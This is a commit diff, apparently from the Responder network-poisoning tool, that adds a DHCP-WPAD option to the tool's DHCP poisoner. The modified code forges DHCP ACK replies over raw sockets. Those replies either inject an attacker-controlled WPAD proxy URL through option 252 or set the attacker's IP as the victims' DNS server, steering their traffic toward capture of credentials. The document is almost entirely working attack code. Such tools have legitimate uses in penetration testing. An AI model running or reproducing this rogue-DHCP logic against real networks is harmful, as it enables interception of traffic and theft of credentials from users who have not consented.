Added DHCP DNS vs WPAD srv injection

This commit is contained in:
lgandx 2021-12-12 17:01:03 -03:00
commit 505ec34324
3 changed files with 20 additions and 12 deletions

View file

@ -34,6 +34,8 @@ parser.add_option('-e', "--externalip", action="store", help="Poison all
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False) parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False) parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False) parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
parser.add_option('-W', '--DHCP-WPAD', action="store_true", help="This option will inject a WPAD server in the DHCP response, otherwise it will be done via DNS. Default: False", dest="DHCP_WPAD", default=False)
parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False) parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False)
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False) parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None) parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
@ -345,7 +347,7 @@ def main():
if settings.Config.DHCP_On_Off: if settings.Config.DHCP_On_Off:
from poisoners.DHCP import DHCP from poisoners.DHCP import DHCP
DHCP() DHCP(settings.Config.DHCP_WPAD)
while True: while True:
time.sleep(1) time.sleep(1)

View file

@ -19,6 +19,7 @@ if (sys.version_info < (3, 0)):
sys.exit('This script is meant to be run with Python3') sys.exit('This script is meant to be run with Python3')
import struct import struct
import random
import optparse import optparse
import configparser import configparser
import os import os
@ -82,7 +83,7 @@ Interface = settings.Config.Interface
Responder_IP = RespondWithIP() Responder_IP = RespondWithIP()
ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present. ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present.
NETMASK = "255.255.255.0" NETMASK = "255.255.255.0"
DNSIP = "0.0.0.0" DNSIP = RespondWithIP()
DNSIP2 = "0.0.0.0" DNSIP2 = "0.0.0.0"
DNSNAME = "lan" DNSNAME = "lan"
WPADSRV = "http://"+Responder_IP+"/wpad.dat" WPADSRV = "http://"+Responder_IP+"/wpad.dat"
@ -197,22 +198,26 @@ class DHCPACK(Packet):
("Op6", "\x06"), ("Op6", "\x06"),
("Op6Len", "\x08"), ("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers ("Op6Str", ""), #DNS Servers
("Op252", "\xfc"), ("Op252", ""),
("Op252Len", "\x04"), ("Op252Len", ""),
("Op252Str", ""), #Wpad Server ("Op252Str", ""), #Wpad Server
("Op255", "\xff"), ("Op255", "\xff"),
("Padding", "\x00"), ("Padding", "\x00"),
]) ])
def calculate(self): def calculate(self, DHCP_WPAD):
self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1') self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
self.fields["Op15Str"] = DNSNAME self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV if DHCP_WPAD:
self.fields["Op252"] = "\xfc"
self.fields["Op252Str"] = WPADSRV
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
self.fields["Op6Str"] = socket.inet_aton('0.0.0.0').decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
self.fields["Op51Str"] = StructWithLenPython2or3('>L', random.randrange(10, 20))
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"]))) self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
def RespondToThisIP(ClientIp): def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'): if ClientIp.startswith('127.0.0.'):
@ -236,7 +241,7 @@ def FindIP(data):
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4]).encode('latin-1') return ''.join(IP[0:4]).encode('latin-1')
def ParseDHCPCode(data, ClientIP): def ParseDHCPCode(data, ClientIP,DHCP_WPAD):
global DHCPClient global DHCPClient
global ROUTERIP global ROUTERIP
PTid = data[4:8] PTid = data[4:8]
@ -262,7 +267,7 @@ def ParseDHCPCode(data, ClientIP):
if RespondToThisIP(IPConv): if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1')) IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1')) Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate() Packet.calculate(DHCP_WPAD)
Buffer = UDP(Data = Packet) Buffer = UDP(Data = Packet)
Buffer.calculate() Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
@ -281,7 +286,7 @@ def ParseDHCPCode(data, ClientIP):
if RespondToThisIP(IPConv): if RespondToThisIP(IPConv):
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1')) IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1')) Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate() Packet.calculate(DHCP_WPAD)
Buffer = UDP(Data = Packet) Buffer = UDP(Data = Packet)
Buffer.calculate() Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
@ -308,7 +313,7 @@ def SendDHCP(packet,Host):
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(NetworkSendBufferPython2or3(packet), Host) s.sendto(NetworkSendBufferPython2or3(packet), Host)
def DHCP(): def DHCP(DHCP_WPAD):
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
s.bind((Interface, 0x0800)) s.bind((Interface, 0x0800))
SendDiscover() SendDiscover()
@ -318,6 +323,6 @@ def DHCP():
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67: if SrcPort == 67 or DstPort == 67:
ClientIP = socket.inet_ntoa(data[0][26:30]) ClientIP = socket.inet_ntoa(data[0][26:30])
ret = ParseDHCPCode(data[0][42:], ClientIP) ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_WPAD)
if ret: if ret:
print(text("[*] [DHCP] %s" % ret)) print(text("[*] [DHCP] %s" % ret))

View file

@ -132,6 +132,7 @@ class Settings:
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
self.CommandLine = str(sys.argv) self.CommandLine = str(sys.argv)
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
self.DHCP_WPAD = options.DHCP_WPAD
if self.Interface == "ALL": if self.Interface == "ALL":
self.Bind_To_ALL = True self.Bind_To_ALL = True